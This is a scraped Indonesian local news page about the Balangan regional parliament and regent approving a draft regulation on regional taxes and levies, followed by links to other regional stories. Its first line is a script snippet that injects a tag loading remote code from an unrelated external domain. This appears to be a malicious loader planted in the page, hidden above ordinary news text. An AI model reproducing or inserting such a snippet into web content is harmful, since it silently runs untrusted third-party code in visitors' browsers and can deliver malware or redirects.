(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – DPRD Balangan bersama Bupati Balangan menyetujui Rancangan Peraturan Daerah (Raperda) tentang pajak dan retribusi daerah dalam rapat paripurna di gedung DPRD Balangan, Senin (23/7/2023).
Ketua DPRD Balangan Ahsani Fauzan dan Bupati Balangan Abdul Hadi menandatangani tentang persetujuan bersama Raperda pajak dan retribusi daerah.
“Rapat paripurna kali ini merupakan persetujuan bersama Raperda pajak dan retribusi daerah bersama Bupati Balangan,” ucap Ketua DPRD Balangan Ahsani Fauzan.
Menurut Fauzan, setelah ditandatangani secara bersama, maka Raperda pajak dan retribusi daerah dapat dibahas secara berkala.
Baca juga: Abdul Latif Tak Pernah Lapor Harta Kekayaan saat Jadi Bupati HST
Sementara itu, Bupati Balangan H Abdul Hadi saat memberikan sambutan mengatakan, setiap Raperda yang berlatar belakang situasi serta surplus baik bagi pemkab Balangan perlu didukung.
“Kita menilai itu perlu kita analisis kita diskusikan bersama aspeknya dan kemudian kita mendapati buahnya dengan harapan ke depan kita akan mendapatkan dampak manfaat,” ucapnya.
Bagi Bupati Abdul Hadi, sudah sewajarnya secara bersama-sama menggali potensi yang ada di Balangan dari pendapatan asli daerah (PAD).
“Kita akan terus berupaya untuk terus menggali, mengembangkan, dan mengoptimalkan hasil PAD untuk Kabupaten Balangan,” pungkasnya. (Kanalkalimantan.com/mcbalangan/kk)
Reporter : kk
Editor : kk
KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More
Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More
KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More
This website uses cookies.